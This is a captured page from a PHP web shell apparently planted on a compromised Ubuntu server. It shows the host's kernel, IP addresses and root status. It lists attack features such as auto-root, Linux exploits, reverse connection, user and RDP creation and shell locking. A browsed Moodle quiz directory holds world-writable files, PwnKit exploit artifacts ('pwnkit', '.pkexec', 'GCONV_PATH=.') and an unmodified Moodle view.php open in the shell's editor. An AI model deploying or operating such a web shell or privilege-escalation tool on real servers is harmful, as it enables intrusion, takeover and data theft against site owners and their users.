Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
libromaster /
mod /
quiz /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
accessrule
[ DIR ]
drwxrwxrwx
backup
[ DIR ]
drwxrwxrwx
db
[ DIR ]
drwxrwxrwx
lang
[ DIR ]
drwxrwxrwx
pix
[ DIR ]
drwxrwxrwx
report
[ DIR ]
drwxrwxrwx
tests
[ DIR ]
drwxrwxrwx
yui
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
accessmanager.php
18.23
KB
-rwxrwxrwx
accessmanager_form.php
2.33
KB
-rwxrwxrwx
addrandom.php
4.51
KB
-rwxrwxrwx
addrandomform.php
3.36
KB
-rwxrwxrwx
attempt.php
5.28
KB
-rwxrwxrwx
attemptlib.php
62.21
KB
-rwxrwxrwx
autosave.ajax.php
2.13
KB
-rwxrwxrwx
comment.php
3.47
KB
-rwxrwxrwx
cronlib.php
4.53
KB
-rwxrwxrwx
edit.js
6.28
KB
-rwxrwxrwx
edit.php
22.22
KB
-rwxrwxrwx
editlib.php
52.23
KB
-rwxrwxrwx
grade.php
3.49
KB
-rwxrwxrwx
index.php
6.24
KB
-rwxrwxrwx
lib.php
63.63
KB
-rwxrwxrwx
locallib.php
63.94
KB
-rwxrwxrwx
mod_form.php
27.38
KB
-rwxrwxrwx
module.js
10.14
KB
-rwxrwxrwx
override_form.php
10.17
KB
-rwxrwxrwx
overridedelete.php
3.23
KB
-rwxrwxrwx
overrideedit.php
6.09
KB
-rwxrwxrwx
overrides.php
9.98
KB
-rwxrwxrwx
processattempt.php
6.59
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
renderer.php
47.86
KB
-rwxrwxrwx
report.php
3.28
KB
-rwxrwxrwx
review.php
9.18
KB
-rwxrwxrwx
reviewquestion.php
3.4
KB
-rwxrwxrwx
settings.php
11.15
KB
-rwxrwxrwx
settingslib.php
7.05
KB
-rwxrwxrwx
startattempt.php
9.94
KB
-rwxrwxrwx
styles.css
30.68
KB
-rwxrwxrwx
summary.php
3.44
KB
-rwxrwxrwx
upgrade.txt
243
B
-rwxrwxrwx
version.php
1.2
KB
-rwxrwxrwx
view.php
9.28
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : view.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * This page is the entry page into the quiz UI. Displays information about the * quiz to students and teachers, and lets students see their previous attempts. * * @package mod * @subpackage quiz * @copyright 1999 onwards Martin Dougiamas {@link http://moodle.com} * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ require_once(dirname(__FILE__) . '/../../config.php'); require_once($CFG->libdir.'/gradelib.php'); require_once($CFG->dirroot.'/mod/quiz/locallib.php'); require_once($CFG->libdir . '/completionlib.php'); $id = optional_param('id', 0, PARAM_INT); // Course Module ID, or ... $q = optional_param('q', 0, PARAM_INT); // Quiz ID. if ($id) { if (!$cm = get_coursemodule_from_id('quiz', $id)) { print_error('invalidcoursemodule'); } if (!$course = $DB->get_record('course', array('id' => $cm->course))) { print_error('coursemisconf'); } } else { if (!$quiz = $DB->get_record('quiz', array('id' => $q))) { print_error('invalidquizid', 'quiz'); } if (!$course = $DB->get_record('course', array('id' => $quiz->course))) { print_error('invalidcourseid'); } if (!$cm = get_coursemodule_from_instance("quiz", $quiz->id, $course->id)) { print_error('invalidcoursemodule'); } } // Check login and get context. require_login($course, false, $cm); $context = context_module::instance($cm->id); require_capability('mod/quiz:view', $context); // Cache some other capabilities we use several times. $canattempt = has_capability('mod/quiz:attempt', $context); $canreviewmine = has_capability('mod/quiz:reviewmyattempts', $context); $canpreview = has_capability('mod/quiz:preview', $context); // Create an object to manage all the other (non-roles) access rules. $timenow = time(); $quizobj = quiz::create($cm->instance, $USER->id); $accessmanager = new quiz_access_manager($quizobj, $timenow, has_capability('mod/quiz:ignoretimelimits', $context, null, false)); $quiz = $quizobj->get_quiz(); // Log this request. add_to_log($course->id, 'quiz', 'view', 'view.php?id=' . $cm->id, $quiz->id, $cm->id); $completion = new completion_info($course); $completion->set_module_viewed($cm); // Initialize $PAGE, compute blocks. $PAGE->set_url('/mod/quiz/view.php', array('id' => $cm->id)); // Create view object which collects all the information the renderer will need. $viewobj = new mod_quiz_view_object(); $viewobj->accessmanager = $accessmanager; $viewobj->canreviewmine = $canreviewmine; // Get this user's attempts. $attempts = quiz_get_user_attempts($quiz->id, $USER->id, 'finished', true); $lastfinishedattempt = end($attempts); $unfinished = false; if ($unfinishedattempt = quiz_get_user_attempt_unfinished($quiz->id, $USER->id)) { $attempts[] = $unfinishedattempt; // If the attempt is now overdue, deal with that - and pass isonline = false. // We want the student notified in this case. $quizobj->create_attempt_object($unfinishedattempt)->handle_if_time_expired(time(), false); $unfinished = $unfinishedattempt->state == quiz_attempt::IN_PROGRESS || $unfinishedattempt->state == quiz_attempt::OVERDUE; if (!$unfinished) { $lastfinishedattempt = $unfinishedattempt; } $unfinishedattempt = null; // To make it clear we do not use this again. } $numattempts = count($attempts); $viewobj->attempts = $attempts; $viewobj->attemptobjs = array(); foreach ($attempts as $attempt) { $viewobj->attemptobjs[] = new quiz_attempt($attempt, $quiz, $cm, $course, false); } // Work out the final grade, checking whether it was overridden in the gradebook. if (!$canpreview) { $mygrade = quiz_get_best_grade($quiz, $USER->id); } else if ($lastfinishedattempt) { // Users who can preview the quiz don't get a proper grade, so work out a // plausible value to display instead, so the page looks right. $mygrade = quiz_rescale_grade($lastfinishedattempt->sumgrades, $quiz, false); } else { $mygrade = null; } $mygradeoverridden = false; $gradebookfeedback = ''; $grading_info = grade_get_grades($course->id, 'mod', 'quiz', $quiz->id, $USER->id); if (!empty($grading_info->items)) { $item = $grading_info->items[0]; if (isset($item->grades[$USER->id])) { $grade = $item->grades[$USER->id]; if ($grade->overridden) { $mygrade = $grade->grade + 0; // Convert to number. $mygradeoverridden = true; } if (!empty($grade->str_feedback)) { $gradebookfeedback = $grade->str_feedback; } } } $title = $course->shortname . ': ' . format_string($quiz->name); $PAGE->set_title($title); $PAGE->set_heading($course->fullname); $output = $PAGE->get_renderer('mod_quiz'); // Print table with existing attempts. if ($attempts) { // Work out which columns we need, taking account what data is available in each attempt. list($someoptions, $alloptions) = quiz_get_combined_reviewoptions($quiz, $attempts, $context); $viewobj->attemptcolumn = $quiz->attempts != 1; $viewobj->gradecolumn = $someoptions->marks >= question_display_options::MARK_AND_MAX && quiz_has_grades($quiz); $viewobj->markcolumn = $viewobj->gradecolumn && ($quiz->grade != $quiz->sumgrades); $viewobj->overallstats = $lastfinishedattempt && $alloptions->marks >= question_display_options::MARK_AND_MAX; $viewobj->feedbackcolumn = quiz_has_feedback($quiz) && $alloptions->overallfeedback; } $viewobj->timenow = $timenow; $viewobj->numattempts = $numattempts; $viewobj->mygrade = $mygrade; $viewobj->moreattempts = $unfinished || !$accessmanager->is_finished($numattempts, $lastfinishedattempt); $viewobj->mygradeoverridden = $mygradeoverridden; $viewobj->gradebookfeedback = $gradebookfeedback; $viewobj->lastfinishedattempt = $lastfinishedattempt; $viewobj->canedit = has_capability('mod/quiz:manage', $context); $viewobj->editurl = new moodle_url('/mod/quiz/edit.php', array('cmid' => $cm->id)); $viewobj->backtocourseurl = new moodle_url('/course/view.php', array('id' => $course->id)); $viewobj->startattempturl = $quizobj->start_attempt_url(); $viewobj->startattemptwarning = $quizobj->confirm_start_attempt_message($unfinished); $viewobj->popuprequired = $accessmanager->attempt_must_be_in_popup(); $viewobj->popupoptions = $accessmanager->get_popup_options(); // Display information about this quiz. $viewobj->infomessages = $viewobj->accessmanager->describe_rules(); if ($quiz->attempts != 1) { $viewobj->infomessages[] = get_string('gradingmethod', 'quiz', quiz_get_grading_option_name($quiz->grademethod)); } // Determine wheter a start attempt button should be displayed. $viewobj->quizhasquestions = (bool) quiz_clean_layout($quiz->questions, true); $viewobj->preventmessages = array(); if (!$viewobj->quizhasquestions) { $viewobj->buttontext = ''; } else { if ($unfinished) { if ($canattempt) { $viewobj->buttontext = get_string('continueattemptquiz', 'quiz'); } else if ($canpreview) { $viewobj->buttontext = get_string('continuepreview', 'quiz'); } } else { if ($canattempt) { $viewobj->preventmessages = $viewobj->accessmanager->prevent_new_attempt( $viewobj->numattempts, $viewobj->lastfinishedattempt); if ($viewobj->preventmessages) { $viewobj->buttontext = ''; } else if ($viewobj->numattempts == 0) { $viewobj->buttontext = get_string('attemptquiznow', 'quiz'); } else { $viewobj->buttontext = get_string('reattemptquiz', 'quiz'); } } else if ($canpreview) { $viewobj->buttontext = get_string('previewquiznow', 'quiz'); } } // If, so far, we think a button should be printed, so check if they will be // allowed to access it. if ($viewobj->buttontext) { if (!$viewobj->moreattempts) { $viewobj->buttontext = ''; } else if ($canattempt && $viewobj->preventmessages = $viewobj->accessmanager->prevent_access()) { $viewobj->buttontext = ''; } } } echo $OUTPUT->header(); if (isguestuser()) { // Guests can't do a quiz, so offer them a choice of logging in or going back. echo $output->view_page_guest($course, $quiz, $cm, $context, $viewobj->infomessages); } else if (!isguestuser() && !($canattempt || $canpreview || $viewobj->canreviewmine)) { // If they are not enrolled in this course in a good enough role, tell them to enrol. echo $output->view_page_notenrolled($course, $quiz, $cm, $context, $viewobj->infomessages); } else { echo $output->view_page($course, $quiz, $cm, $context, $viewobj); } echo $OUTPUT->footer();
Close